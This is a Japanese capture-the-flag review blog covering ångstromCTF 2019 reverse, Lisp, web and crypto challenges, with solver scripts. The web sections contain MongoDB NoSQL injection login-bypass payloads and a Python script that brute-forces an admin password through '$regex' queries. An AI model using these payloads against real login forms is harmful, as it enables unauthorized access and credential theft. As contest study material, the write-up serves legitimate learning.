ångstromCTF 2019 復習 - 好奇心の足跡

下記記事でwrite-upを書いた ångstromCTF 2019 ですが、手を付けたけど解けなかった問題が多かったので復習してみました。

kusuwada.hatenablog.com

他の方のwrite-upを見ながら復習した内容の備忘録です。
疑問が解消していない部分がある & 間違ってる部分もありそうなので、コメント大歓迎です。

[Reverse] High Quality Checks (110pt)

After two break-ins to his shell server, kmh got super paranoid about a third! He's so paranoid that he abandoned the traditional password storage method and came up with this monstrosity! I reckon he used the flag as the password, can you find it?

配布された実行ファイルの動作を確認します。

$ ./high_quality_checks 
Enter your input:
flag
Flag is too short.

inputの長さチェックをしているらしい。

$ ./high_quality_checks 
Enter your input:
actf{aaaaaaaaaaaaaaaaaaaaaaa|
That's not the flag.

ということで、正しいflagを入力させるっぽい。
今回もradare2でアセンブラを見てみます。main関数より抜粋。

|           0x00400a9d      e84efaffff     call sym.imp.strlen         ; size_t strlen(const char *s)
|           0x00400aa2      4883f812       cmp rax, 0x12               ; 18

inputは18文字以上必要なようです。
文字数クリアの後、文字列比較は sym.check 関数で行われているようです。

/ (fcn) sym.check 273
|   sym.check (int arg1);
|           ; var int local_8h @ rbp-0x8
|           ; arg int arg1 @ rdi
|           ; CALL XREF from main (0x400ac2)
|           0x0040094a      55             push rbp
|           0x0040094b      4889e5         mov rbp, rsp
|           0x0040094e      4883ec08       sub rsp, 8
|           0x00400952      48897df8       mov qword [local_8h], rdi   ; arg1
|           0x00400956      488b45f8       mov rax, qword [local_8h]
|           0x0040095a      4883c00c       add rax, 0xc
|           0x0040095e      4889c7         mov rdi, rax
|           0x00400961      e87fffffff     call sym.d
|           0x00400966      85c0           test eax, eax
|       ,=< 0x00400968      0f84e6000000   je 0x400a54
|       |   0x0040096e      488b45f8       mov rax, qword [local_8h]
|       |   0x00400972      0fb600         movzx eax, byte [rax]
|       |   0x00400975      0fbec0         movsx eax, al
|       |   0x00400978      89c7           mov edi, eax
|       |   0x0040097a      e8d4fcffff     call sym.v
|       |   0x0040097f      85c0           test eax, eax
|      ,==< 0x00400981      0f84cd000000   je 0x400a54
|      ||   0x00400987      488b45f8       mov rax, qword [local_8h]
|      ||   0x0040098b      4883c011       add rax, 0x11
|      ||   0x0040098f      0fb600         movzx eax, byte [rax]
|      ||   0x00400992      0fbed0         movsx edx, al
|      ||   0x00400995      488b45f8       mov rax, qword [local_8h]
|      ||   0x00400999      4883c010       add rax, 0x10
|      ||   0x0040099d      0fb600         movzx eax, byte [rax]
|      ||   0x004009a0      0fbec0         movsx eax, al
|      ||   0x004009a3      89d6           mov esi, edx
|      ||   0x004009a5      89c7           mov edi, eax
|      ||   0x004009a7      e854ffffff     call sym.u
|      ||   0x004009ac      85c0           test eax, eax
|     ,===< 0x004009ae      0f84a0000000   je 0x400a54
|     |||   0x004009b4      488b45f8       mov rax, qword [local_8h]
|     |||   0x004009b8      4883c005       add rax, 5
|     |||   0x004009bc      0fb600         movzx eax, byte [rax]
|     |||   0x004009bf      0fbec0         movsx eax, al
|     |||   0x004009c2      89c7           mov edi, eax
|     |||   0x004009c4      e87ffdffff     call sym.k
|     |||   0x004009c9      85c0           test eax, eax
|    ,====< 0x004009cb      0f8583000000   jne 0x400a54
|    ||||   0x004009d1      488b45f8       mov rax, qword [local_8h]
|    ||||   0x004009d5      4883c009       add rax, 9
|    ||||   0x004009d9      0fb600         movzx eax, byte [rax]
|    ||||   0x004009dc      0fbec0         movsx eax, al
|    ||||   0x004009df      89c7           mov edi, eax
|    ||||   0x004009e1      e862fdffff     call sym.k
|    ||||   0x004009e6      85c0           test eax, eax
|   ,=====< 0x004009e8      756a           jne 0x400a54
|   |||||   0x004009ea      488b45f8       mov rax, qword [local_8h]
|   |||||   0x004009ee      4883c001       add rax, 1
|   |||||   0x004009f2      4889c7         mov rdi, rax
|   |||||   0x004009f5      e88afcffff     call sym.w
|   |||||   0x004009fa      85c0           test eax, eax
|  ,======< 0x004009fc      7456           je 0x400a54
|  ||||||   0x004009fe      488b45f8       mov rax, qword [local_8h]
|  ||||||   0x00400a02      be12000000     mov esi, 0x12               ; 18
|  ||||||   0x00400a07      4889c7         mov rdi, rax
|  ||||||   0x00400a0a      e8e7fcffff     call sym.b
|  ||||||   0x00400a0f      85c0           test eax, eax
| ,=======< 0x00400a11      7441           je 0x400a54
| |||||||   0x00400a13      488b45f8       mov rax, qword [local_8h]
| |||||||   0x00400a17      be04000000     mov esi, 4
| |||||||   0x00400a1c      4889c7         mov rdi, rax
| |||||||   0x00400a1f      e8d2fcffff     call sym.b
| |||||||   0x00400a24      85c0           test eax, eax
| ========< 0x00400a26      742c           je 0x400a54
| |||||||   0x00400a28      488b45f8       mov rax, qword [local_8h]
| |||||||   0x00400a2c      be6c000000     mov esi, 0x6c               ; 'l' ; 108
| |||||||   0x00400a31      4889c7         mov rdi, rax
| |||||||   0x00400a34      e834fdffff     call sym.z
| |||||||   0x00400a39      85c0           test eax, eax
| ========< 0x00400a3b      7417           je 0x400a54
| |||||||   0x00400a3d      488b45f8       mov rax, qword [local_8h]
| |||||||   0x00400a41      4889c7         mov rdi, rax
| |||||||   0x00400a44      e840feffff     call sym.s
| |||||||   0x00400a49      85c0           test eax, eax
| ========< 0x00400a4b      7407           je 0x400a54
| |||||||   0x00400a4d      b801000000     mov eax, 1
| ========< 0x00400a52      eb05           jmp 0x400a59
| ```````-> 0x00400a54      b800000000     mov eax, 0
|           ; CODE XREF from sym.check (0x400a52)
| --------> 0x00400a59      c9             leave
\           0x00400a5a      c3             ret

あああ、なんかヤバそう。radare2さんjumpが表現しきれてない…。
根性が必要そう…

ここで競技中解くことを諦めた根性なしでした。

他の方のwrite-up

やっぱり根性が必要みたい。
ただし、「Ghidraでデコンパイル」ということで、Ghidraを使うとかなり自然言語に近い形に変換してくれる様子。
これがあってもなお面倒そうだったので、同じような問題が出てきても手を付ける可能性は低そう…。

angstromCTF 2019 writeup - 未経験からプロになる！！

こちらはIDAを駆使？途中で推測もしているが、基本全関数のアセンブラを解読している。
皆さんこの問題にどれくらい時間かけたのだろう。Ghidraを使うと時間が大分短縮できるんだろうか。それともやっぱりアセンブラに慣れると早く読めるのかな (ತಎತ)

[Misc] Lithp (60pt)

My friend gave me this program but I couldn't understand what he was saying - what was he trying to tell me?

DLできるprogramはなんと lithp.lisp, lispである。。。初めて。

;LITHP

(defparameter *encrypted* '(8930 15006 8930 10302 11772 13806 13340 11556 12432 13340 10712 10100 11556 12432 9312 10712 10100 10100 8930 10920 8930 5256 9312 9702 8930 10712 15500 9312))
(defparameter *flag* '(redacted))
(defparameter *reorder* '(19 4 14 3 10 17 24 22 8 2 5 11 7 26 0 25 18 6 21 23 9 13 16 1 12 15 27 20))

(defun enc (plain)
    (setf uwuth (multh plain))
    (setf uwuth (owo uwuth))
    (setf out nil)
    (dotimes (ind (length plain) out)
        (setq out (append out (list (/ (nth ind uwuth) -1))))))
    
(defun multh (plain)
    (cond
        ((null plain) nil)
        (t (cons (whats-this (- 1 (car plain)) (car plain)) (multh (cdr plain))))))

(defun owo (inpth)
    (setf out nil)
    (do ((redth *reorder* (cdr redth)))
        ((null redth) out)
        (setq out (append out (list (nth (car redth) inpth))))))

(defun whats-this (x y)
    (cond
        ((equal y 0) 0)
        (t (+ (whats-this x (- y 1)) x))))

;flag was encrypted with (enc *flag*) to give *encrypted*

解読すれば解けそう…と思ってpythonに直したりしてみたが、時間内にはflagにいきつかなかった。
Lisp、カッコが凄いという噂は聞いていたけど、ほんとカッコだらけ。何個括弧があるのかもはや数えられん。
記法も他の言語と結構違うので、マクロの意味を全部調べながら解読するのはかなり時間がかかった。。。

他の方のwrite-up

なんとなくの処理を理解してから、「こうやったらとけるんじゃね？」というので検証してみている。私もこのアプローチのほうが向いていたかも。２つ目に至っては、もはや換字暗号の解き方になっている。

angstromctf-2019-writeups/Solved/Lithp at master · zst-ctf/angstromctf-2019-writeups · GitHub

こちらは、簡単に各関数が何をしているか解読してから逆処理をかけています。

enc: plain に対して multh -> owo 呼び出し、全ての成分の正負反転
multh: 再帰になっていますが、listのそれぞれの成分 a について -a*(a-1) を返します
owo: reorder 配列の順序で並べ替え
whats-this: x * y

ちなみに、multh 関数の - については、 enc 関数の正負反転と相殺できるので無視します。
ということで、ここまでわかれば

encrypted 配列に対して、reorder 配列を参考に並べ替え
並べ替えた配列の全ての要素 x に対して、 x = y * (y-1) になる y を探す

で plain が求まりそうです。

#!/usr/bin/env python3

encrypted = [8930, 15006, 8930, 10302, 11772, 13806, 13340, 11556, 12432, 13340, 10712, 10100, 11556, 12432, 9312, 10712, 10100, 10100, 8930, 10920, 8930, 5256, 9312, 9702, 8930, 10712, 15500, 9312]
reorder = [19, 4, 14, 3, 10, 17, 24, 22, 8, 2, 5, 11, 7, 26, 0, 25, 18, 6, 21, 23, 9, 13, 16, 1, 12, 15, 27, 20]

ordered = [''] * len(reorder)
for i in range(len(reorder)):
    ordered[reorder[i]] = encrypted[i]

decrypted = ''
for c in ordered:
    for y in range(0xff):
        if c == y*(y-1):
            decrypted += chr(y)

print(decrypted)

実行結果

$ python solve.py 
actf{help_me_I_have_a_lithp}

意外にLispをそのまま読んでアプローチしているwrite-upが少なくて驚いた。

[Web] No Sequels (50pt)

The prequels sucked, and the sequels aren't much better, but at least we always have the original trilogy.

Hint

MongoDB is a safer alternative to SQL, right?

リンク先に飛んでみると、ログインフォームとコードが。

f:id:kusuwada:20190509104828p:plain

app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: false }));

...

router.post('/login', verifyJwt, function (req, res) {
    // monk instance
    var db = req.db;

    var user = req.body.username;
    var pass = req.body.password;

    if (!user || !pass){
        res.send("One or more fields were not provided.");
    }
    var query = {
        username: user,
        password: pass
    }

    db.collection('users').findOne(query, function (err, user) {
        if (!user){
            res.send("Wrong username or password");
            return
        }

        res.cookie('token', jwt.sign({name: user.username, authenticated: true}, secret));
        res.redirect("/site");
    });
});

問題文が No Sequels とあることと、ヒントに MongoDB とあるので、MongoDBが採用されているっぽいことがわかる。
NoSQLなので SQL injection は使えないが、 No SQL injection が何か使えそう。

req.body.password や req.body.username が文字列かどうかを確認せずそのまま query に突っ込んでいるため、オブジェクトもそのまま評価させることができてしまいます。

更に、このサイトは構文からNode.jsで動いているようです。Node.jsはパラメータをJSON形式で受け取ることもできるので、jsonオブジェクトをそのまま送ると攻撃が成功しそう。

このあたりの記事を参考に、攻撃コードを組んでみました。

#!/usr/bin/env python3

import requests

url = 'https://nosequels.2019.chall.actf.co/login'
cookies = dict()

# get token
res = requests.get(url)
token = res.cookies['token']
cookies = dict(token=token)

# login
payload = {"username": {"$gt": ""}, "password": {"$gt": ""}}
res = requests.post(url, cookies=cookies, data=payload)
print(res.text)

理解があまりできてないままに適当に入れたので良くなかったのですが、方向性はあっていたみたい。

ここまでが競技時間。

他の方のwrite-up

下記のwrite-upを見ながらお勉強

既にサーバーが閉じてしまったので攻撃が成功するかは定かではありませんが。。。

payload = {"username":"admin","password":{"$ne":0}}

とすると、passwordが0でないadminユーザーというクエリになり、adminとしてログインすることができる。
今回の場合はadminとしてログインする必要もなく、なにかレコードが引っかかればOKなので

payload = {"username":{"$ne": null},"password":{"$ne": null}}

として、passwordがnullでなく、usernameがnullでないレコードを抽出するqueryにしても良かったみたい。

[Web] No Sequels 2 (80pt)

This is the sequel to No Sequels. You’ll see the challenge page once you solve the first one.

No Sequels の続きの問題で、解けたらchallenge pageが出てきたようです。adminのパスワードを当てる問題のようです。

このページを見てお勉強。

降ってくる問題ページは下記。

router.post('/site', verifyJwt, function (req, res) {
    // req.user is assigned from verifyJwt
    if (!req.user.authenticated || !req.body.pass2) {
        res.send("bad");
    }
 
    var query = {
        username: req.user.name,
    }
 
    var db = req.db;
    db.collection('users').findOne(query, function (err, user) {
        console.log(user);
        if (!user){
            res.render('access', {username:' \''+req.user.name+'\' ', message:"Only user 'admin' can log in with this form!"});
        }
        var pass = user.password;
        var message = "";
        if (pass === req.body.pass2){
            res.render('final');
        } else {
            res.render('access', {username:' \''+req.user.name+'\' ', message:"Wrong LOL!"});
        }
 
    });
 
});

finalページにflagが書かれていそう。
$regex 演算子を使って一文字ずつ総当たりで特定していくらしい。ここは SQL injection のブラインドInjectionと同じで、使う演算子や関数が違うだけの印象。覚えておきたい所。

1問目と同じように、jsonのフォームを受け付けてしまうので、下記の $regex 演算子を使った攻撃が成功しそうだとあたりをつけるようです。

{
username: "admin",
passsword: {"$regex": "^<testing pw goes here>"}
}

下記は参考write-upのコードをそのまま。password候補の文字列はどうやって決め打ちしたんだろう？記号とか大文字って区別されないのかな？ string.ascii_letters で回している人もいるし、 string.letters + string.digits で回してる人もいるし、string.printableの人もいる…。
とにかく、候補の文字列を前から一文字ずつ突っ込んでいき、通ったら確定、次の文字に進む。ブラインドInjectionの手法そのままです。

import json
import requests
import string

URL = 'https://nosequels.2019.chall.actf.co/login'
res = ''

while True:
  for c in 'abcdefghijklmnopqrstuvwxyz0123456789':
    r = requests.post(URL, cookies={
      'token': '…'
    }, headers={
      'Content-Type': 'application/json'
    }, data=json.dumps({
      'username': 'admin',
      'password': {
        '$regex': '^' + res + c +'.*'  # 最後の '.*' はどうせregexで前方一致しか見ていないので不要
      }
    }))
    if b'Wrong username or password' not in r.content:
      res += c
      break
  else:
    print(':(')
  print(res)

ふむ。やってみたかったなー。

[Crypto] Paint (100pt)

This amazing new paint protocol lets artists share secret paintings with each other! Good thing U.S. Patent 4200770 is expired.

提供されるファイルは下記。 paint.py

import binascii
import random

from secret import flag

image = int(binascii.hexlify(flag), 16)

palette = 1 << 2048
base = random.randint(0, palette) | 1
secret = random.randint(0, palette)
my_mix = pow(base, secret, palette)

print('palette: {}'.format(palette))
print('base: {}'.format(base))
print('my mix: {}'.format(my_mix))

your_mix = int(input('your mix: '))

shared_mix = pow(your_mix, secret, palette)
painting = image ^ shared_mix
print('painting: {}'.format(painting))

paint.txt

palette: 32317006071311007300714876688669951960444102669715484032130345427524655138867890893197201411522913463688717960921898019494119559150490921095088152386448283120630877367300996091750197750389652106796057638384067568276792218642619756161838094338476170470581645852036305042887575891541065808607552399123930385521914333389668342420684974786564569494856176035326322058077805659331026192708460314150258592864177116725943603718461857357598351152301645904403697613233287231227125684710820209725157101726931323469678542580656697935045997268352998638215525166389437335543602135433229604645318478604952148193555853611059596230656
base: 13489305024865487703110255658234329747698118206959778644688156332043783846078839120693894255527894489531905012244713117142764166452312133019772171674466933769775907460046497284522592167536594047800489828714315435570429416637425443402332599055774982796405757075108551322778712959943658831605397635195107786224617525627358659165255604556424206194207190437525742567525338826878962081515333896433312311548844614323540250054093970082337500580573165008440265840792908334486258260848163001490152587781983042546491301026074736907693887630347258892882871059741621049169714319440564952700454580681894452760215968494428411686329
my mix: 6870295205307030503255600311283969014496436297715066273709495591567561187646528069669895230912327862244474990612611625088862250315706633708998214109152824455738719595737772769297517386968692628228327225922261219083693899105983726637012353264168761696183327692619506267951701511870035935612090359086376808592001973358166067468618577312983514388332736591060901174314042634365304017788649960016991442596975922402288221898367955532116456798868804571091463566329706023967280838744359633963847966790121312196824818606244189274966061324393424041211903396020720341163472399763951106703068172772579049891895580785347369093113
your mix: 14317253516668543276504878316838097235650210449758621543536146016892160048656997634541093315774403078357942150970695487937570449270120625898199254439189104072891595263513437420116930684308702803055295267600790477195902538538739117809573391251939794413361184343367694928615752045687223262368136262534778688889202144260002584306527206705616186699377315031757095455954292951059462279988296369935635246644221722025457496936215039008069820514166063271894671978845634968761626636993374291118230179892722513818307254406450607168911057458141649111515924404215975886422961651958216688209696158879621701708955382424640000048217
painting: 17665922529512695488143524113273224470194093921285273353477875204196603230641896039854934719468650093602325707751566466034447988065494130102242572713515917910688574332104680867377750329904425039785453961697828887505197701127086732126907914324992806733394244034438537271953062873710421922341053639880387051921552573241651939698279628619278357238684137922164483956735128373164911380749908774512869223017256152942356111845682044048514917460601214157119487675633689081081818805777951203838578632029105960085810547586385599419736400861419214277678792284994133722491622512615732083564207280344459191773058670866354126043620

問題文の末尾の

Patent 4200770 is expired.

についてググってみると、論文っぽいものが。

US4200770A - Cryptographic apparatus and method - Google Patents

英語しか無いし全部目を通すのは厳しい・・・。
が、どうやら Diffie-Hellman 鍵交換の特許のことを指しているっぽい。

概念理解に時間がかかりそうなので、後回しにしていたら競技が終了してしまった。

他の方のwrite-up

いくつかwrite-upを見ましたが、私の理解が全く追いついていなく、エスパーに見えるものが多かったです…(˘•ω•˘)
そんな中から、今回は下記を参考にさせていただきました。

問題スクリプト解析

そもそも

palette = 1 << 2048

この表記、言われてみればそうだよなぁ…なんだけど、これが 2^2048 を表す、というのも眠い頭ではピンときていなかった。
また、

base = random.randint(0, palette) | 1

random.randint(0, palette) は、 0 <= n <= palette(2^2048) のランダムな整数を返します。
ここで出てくる演算子 | はビットOR を示しています。あまり使わないので調べるまで思い出せませんでした…。

問題の条件を整理します。

与えられているのは palette, base, my_mix, your_mix, painting
flagを得るには image を得る必要があり、 painting = image xor shared_mix
shared_mix は pow(your_mix, secret, palette), すなわち your_mix**secret mod pallet
secretはmy_mix = pow(base, secret, palette) を満たす

ここ、飛んでしまいますが、今回は、結局Diffie-Hellmanではなく Pohlig-Hellman のアルゴリズムが使えたようです。

Pohlig–Hellman algorithm - Wikipedia

みな何故そう思ったの？ 🤔🤔🤔

解法からお勉強 ~離散対数問題~

write-upからは（私が初心者過ぎて）そもそも何故この Pohlig-Hellman に辿り着くのかよくわからなかったので、Pohlig-Hellman側から調べてみます。

CTFにおける離散対数問題に対するアプローチ - sonickun.log

そもそも 離散対数問題 とは、というところからはじめて、離散対数問題を高速に解く方法をまとめてくれているので初学者的には読みやすかった！

今回、ここで紹介されている離散対数問題の数式 g^x ≡ y (mod p) に当てはめると

g: base
x: secret
y: my_mix
p: palette

となります。このとき、secret から my_mix を計算することは容易だが、逆が困難であることを、離散対数問題と呼ぶそうです。

公開鍵暗号方式では、このことを安全性の根拠とした暗号アルゴリズムがいくつか考案されている。CTFでは、この離散対数を解き、暗号の秘密鍵を特定する問題が出題される。

フムフム。

離散対数問題に対するアプローチとして、下記3つを紹介されている。

列挙法

列挙法は最もシンプルな手法であり、上式において、x=1,2,3,4,...に対して合同式が成り立つかどうかを一つひとつ確認していく方法である。ただし、gの位数が大きいときは膨大な試行数になるため現実的ではない。オーダーはO(n)。

ångstromCTF 2019 Writeup - よっちんのブログの解法がこれにあたりそう

この解法でも自分の環境で20秒強で解くことが出来た。

Baby-step Giant-step algorithm

Baby-step Giant-step algorithmは列挙法による試行数を削減したアルゴリズムであり、オーダーはO(√n logn)となる。

詳細な手順は参考リンク先に。

Pohlig–Hellman algorithm

Pohlig–Hellman algorithmは、g^x ≡ y (mod p) に対し、ϕ(p)の素因数が小さいときに有効に働くアルゴリズムである。ここでϕ(n)とはオイラー特性関数であり、nより小さい自然数のうちnと互いに素なものの個数を示し、特にnが素数の場合はϕ(n)=n−1となる。

解法からお勉強 ~解法の導き方から解答まで~

今回、p は 2^2048 であるので、ϕ(p)の素因数は 2 になります。このため、この Pohlig–Hellman algorithm が使えそう！という判断になるようです。

Pohlig–Hellman algorithmのアイデアとしては、gの位数が大きすぎて総当たりが困難だったものを、gの位数が小さな離散対数問題に分割して解き、後で結合するといったものである。

g、すなわち base の位数については、いくつかのwrite-upに 2045 とあるが、導き方が載っていない。

ctf-writeups/Paint.md at master · wborgeaud/ctf-writeups · GitHub

ここが参考になりそうな気がするが、明確な求め方がわからなかった。

…とぼやいていたら、@kaito_tateyama さんが教えてくれました！超感謝！

Crypto: Paintについて、"e=2045が疑問"とあったので補足です。
オイラーの定理もしくはカーマイケルの定理から値の上限を絞り込んで( https://t.co/c2lc6ayo1K )位数の性質から約数を探索すれば良いとわかり( https://t.co/NzfOIf55VJ )あとはコード書いて最小性を確かめるという流れで求まります pic.twitter.com/doojFoUA7c
— 🌵kaito🌵 (@kaito_tateyama) 2019年5月9日

手書きメモの解説と、ここで紹介されている

も必見。

※手書きメモ起こし

まず、フェルマーの小定理の拡張、オイラーの定理より
φ(2²⁰⁴⁸) = 2²⁰⁴⁷
位数 e は 2²⁰⁴⁷ より小さいと分かる
次に、カーマイケルの定理より
λ(n) = 2^n-2 = 2²⁰⁴⁶
の約数が e になるとわかる
つまり、2⁰, 2¹, 2², ... 2²⁰⁴⁶ の2047個を調べ、最小のものが位数になる

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

base = 13489305024865487703110255658234329747698118206959778644688156332043783846078839120693894255527894489531905012244713117142764166452312133019772171674466933769775907460046497284522592167536594047800489828714315435570429416637425443402332599055774982796405757075108551322778712959943658831605397635195107786224617525627358659165255604556424206194207190437525742567525338826878962081515333896433312311548844614323540250054093970082337500580573165008440265840792908334486258260848163001490152587781983042546491301026074736907693887630347258892882871059741621049169714319440564952700454580681894452760215968494428411686329
phi = 2

for i in range(2048):
    a =  pow(base, phi**i, phi**2048)
    if a == 1:
        print(i)

実行結果

$ python solve_1.py 
2045
2046
2047

ここで得られる最小のものが e になるので、 e = 2045 がわかる。

今までの話から Pohlig–Hellman algorithm を使うこと、e = 2045 であることがわかったので、下記のスクリプトで x = secret が求まる。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# this code is refers bellow
# https://qiita.com/taiyaki8926/items/3e0768893ba87278d889#paint

from Crypto.Util.number import inverse

# base
g = 13489305024865487703110255658234329747698118206959778644688156332043783846078839120693894255527894489531905012244713117142764166452312133019772171674466933769775907460046497284522592167536594047800489828714315435570429416637425443402332599055774982796405757075108551322778712959943658831605397635195107786224617525627358659165255604556424206194207190437525742567525338826878962081515333896433312311548844614323540250054093970082337500580573165008440265840792908334486258260848163001490152587781983042546491301026074736907693887630347258892882871059741621049169714319440564952700454580681894452760215968494428411686329
# palette
p = 32317006071311007300714876688669951960444102669715484032130345427524655138867890893197201411522913463688717960921898019494119559150490921095088152386448283120630877367300996091750197750389652106796057638384067568276792218642619756161838094338476170470581645852036305042887575891541065808607552399123930385521914333389668342420684974786564569494856176035326322058077805659331026192708460314150258592864177116725943603718461857357598351152301645904403697613233287231227125684710820209725157101726931323469678542580656697935045997268352998638215525166389437335543602135433229604645318478604952148193555853611059596230656
# my_mix
y = 6870295205307030503255600311283969014496436297715066273709495591567561187646528069669895230912327862244474990612611625088862250315706633708998214109152824455738719595737772769297517386968692628228327225922261219083693899105983726637012353264168761696183327692619506267951701511870035935612090359086376808592001973358166067468618577312983514388332736591060901174314042634365304017788649960016991442596975922402288221898367955532116456798868804571091463566329706023967280838744359633963847966790121312196824818606244189274966061324393424041211903396020720341163472399763951106703068172772579049891895580785347369093113

phi = 2
e = 2045

# Pohlig-Hellmanのアルゴリズム
x = [0]
gamma = pow(g, phi ** (e-1), p)
for k in range(e):
    y_k = (pow(inverse(g, p), x[k], p) * y) % p
    y_k = pow(y_k, phi ** (e-1-k), p)
    if y_k == gamma:
        d_k = 1
    else:
        d_k = 0
    x.append(x[k] + (phi ** k) * d_k)

# secret
print(x[-1])

実行結果

$ python solve.py 
629921607003244034334739296597900783683872903809471621783318441724296155260647861566002145401774841786965516424821133148061140507283116747339148975177513485103967011207217568924993463569559551429141756952018711071204949930416859383037306197953684591391066287527469114753495090054370608519379326915615068308557735119497576999275516623932355604742058855833591651141407379343873413310424307672368844204423176033536465560324264458606570832918771689488513626547477988015235832957445514499444921298913651835294484177694907540420778298030233425343791552742606481998105977335541679798111463675261162481691943108104757462361

これがsecret。
ここまで求まれば、後は shared_mix = your_mix**secret mod pallet, painting = image xor shared_mix の条件からflagが求まります。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from Crypto.Util.number import long_to_bytes

secret = 629921607003244034334739296597900783683872903809471621783318441724296155260647861566002145401774841786965516424821133148061140507283116747339148975177513485103967011207217568924993463569559551429141756952018711071204949930416859383037306197953684591391066287527469114753495090054370608519379326915615068308557735119497576999275516623932355604742058855833591651141407379343873413310424307672368844204423176033536465560324264458606570832918771689488513626547477988015235832957445514499444921298913651835294484177694907540420778298030233425343791552742606481998105977335541679798111463675261162481691943108104757462361
your_mix = 14317253516668543276504878316838097235650210449758621543536146016892160048656997634541093315774403078357942150970695487937570449270120625898199254439189104072891595263513437420116930684308702803055295267600790477195902538538739117809573391251939794413361184343367694928615752045687223262368136262534778688889202144260002584306527206705616186699377315031757095455954292951059462279988296369935635246644221722025457496936215039008069820514166063271894671978845634968761626636993374291118230179892722513818307254406450607168911057458141649111515924404215975886422961651958216688209696158879621701708955382424640000048217
painting = 17665922529512695488143524113273224470194093921285273353477875204196603230641896039854934719468650093602325707751566466034447988065494130102242572713515917910688574332104680867377750329904425039785453961697828887505197701127086732126907914324992806733394244034438537271953062873710421922341053639880387051921552573241651939698279628619278357238684137922164483956735128373164911380749908774512869223017256152942356111845682044048514917460601214157119487675633689081081818805777951203838578632029105960085810547586385599419736400861419214277678792284994133722491622512615732083564207280344459191773058670866354126043620
palette = 32317006071311007300714876688669951960444102669715484032130345427524655138867890893197201411522913463688717960921898019494119559150490921095088152386448283120630877367300996091750197750389652106796057638384067568276792218642619756161838094338476170470581645852036305042887575891541065808607552399123930385521914333389668342420684974786564569494856176035326322058077805659331026192708460314150258592864177116725943603718461857357598351152301645904403697613233287231227125684710820209725157101726931323469678542580656697935045997268352998638215525166389437335543602135433229604645318478604952148193555853611059596230656

# shared_mix = your_mix**secret mod pallet
# painting = image xor shared_mix

shared_mix = pow(your_mix, secret, palette)
image = painting ^ shared_mix
flag = long_to_bytes(image)
print(flag)

実行結果

$ python solve_2.py 
b'actf{powers_of_two_are_not_two_powerful}'

kaitoさんに感謝！

[Crypto] WALL-E (130pt)

My friend and I have been encrypting our messages using RSA, but someone keeps intercepting and decrypting them! Maybe you can figure out what's happening?

配布された pythonコード wall-e.py と txt wall-e.txt。

from Crypto.Util.number import getPrime, bytes_to_long, inverse
from secret import flag

assert(len(flag) < 87) # leave space for padding since padding is secure

p = getPrime(1024)
q = getPrime(1024)
n = p*q
e = 3
d = inverse(e,(p-1)*(q-1))
m = bytes_to_long(flag.center(255,"\x00")) # pad on both sides for extra security
c = pow(m,e,n)
print("n = {}".format(n))
print("e = {}".format(e))
print("c = {}".format(c))

n = 16930533490098193592341875268338741038205464836112117606904075086009220456281348541825239348922340771982668304609839919714900815429989903238980995651506801223966153299092163805895061846586943843402382398048697158458017696120659704031304155071717980681280735059759239823752407134078600922884956042774012460082427687595370305553669279649079979451317522908818275946004224509637278839696644435502488800296253302309479834551923862247827826150368412526870932677430329200284984145938907415715817446807045958350179492654072137889859861558737138356897740471740801040559205563042789209526133114839452676031855075611266153108409
e = 3
c = 11517346521350511968078082236628354270939363562359338628104189053516869171468429130280219507678669249746227256625771360798579618712012428887882896227522052222656646536694635021145269394726332158046739239080891813226092060005024523599517854343024406506186025829868533799026231811239816891319566880015622494533461653189752596749235331065273556793035000698955959016688177480102004337980417906733597189524580640648702223430440368954613314994218791688337730722144627325417358973332458080507250983131615055175113690064940592354460257487958530863702022217749857014952140922260404696268641696045086730674980684704510707326989

これは e が非常に小さいときの RSA 暗号に対する攻撃ができそう。
RSA暗号運用でやってはいけない n のこと #ssmjp
の「その6: eの値が小さすぎてはいけない」である。この場合、Low Public Exponent Attackが適用可能。

毎回引用させていただいている

Low Public-Exponent Attack - akashisnの日記より、

暗号文cが以下で与えられており、 c ≡ me mod n mについて以下の条件を満たす時、 m < nのe乗根 mod nの影響を受けないので、 m = cのe乗根 cのe乗根を取るとmが求まる。

ということで、paddingがなければ

c = m^e mod n  # mod n is no operation
c = m^e
m, result = gmpy2.iroot(c,e)  # use python gmpy2

などとして平文を求めることが出来ます。

一方、wall-e.py の方で問題なのは、平文である m に対して、\x00埋めの処理が実施されていること。これによって m の長さが伸ばされています。
mの値が大きいと、 Low Public Exponent Attack の条件を満たせないのでそのままでは使えなくなってしまう。
この両端の 0 padding が WALL っていう出題意図なのかな？？

ここまでで競技時間終了。

他の方のwrite-up

特に定理などを使っているわけではないけども、同じ考え方で解いている。
この2つのwrite-upを参考にして解いてみます。
下の方の記事でリンクのある ctf/2018-12-08-hxp/crypto_daring at master · p4-team/ctf · GitHub こちらの別のwrite-upも参考になりました。

上記の通り、

c = m^e mod n

ここに新しくpaddingとしてm1を追加すると、

c = (m*m1)^e mod n
c = (m^e * m1^e) mod n

となり、更に

adding zero padding here can be viewed simply as bit-shifting left, so just simple multiplication. Each 0 byte added to the plaintext as padding is just multiplying plaintext by 256.

とみなすことができるため

c = (m^e * 256^e) mod n

となります。
このように \x00 のpaddingを追加していくと、

m1 = m * 256
m2 = m * 256 * 256
...
mP = m * 256 * 256 * ....
   = m * 256^P   # Pは0paddingのbyte数

となります。

さて、与えられたプログラムの最初に

assert(len(flag) < 87) # leave space for padding since padding is secure

という記述があります。ということで、flagは少なくとも87文字未満、paddingは flag.center(255,"\x00") の式で作成されるため、左右の 0 padding は (255-87)/2 = 84 文字以上ということになります。
暗号化前の平文は下記のようになります。

\x00\x00\x00\x00..\x00falgflagflag..flagflag\x00\x00\x00\x00..\x00
(255-(len(flag)))/2          len(flag)      (255-(len(flag)))/2

上記の情報から、flag部分とpadding部分を分離して変形すると下記のようになります。

m = flag * (256^P)
pow(m, e, n) = pow(flag, e, n) * pow(256^P, e, n)
pow(flag, e, n) = c * inverse(pow(256^P, e, n), n)

ここで右辺を計算してやれば pow(flag, e, n) が求まります。
更に、まだpaddingが切り取りきれていないため、 mod n の影響を考慮してやる必要があります。

Now if we check this with some example, we will see that the plaintext is still 1 byte too long. This means that still flag³ > n so the ciphertext we have was cut by mod n operation. But we know that it can't have overflown too much, so we can just brute-force it.

We pretty know that flag³ = ct + kn, for some small k. We can loop over some values for k and see when ct + kn is a cube:

ということで、上記の説明の k に当たる部分をブルートフォースで求めていきます。
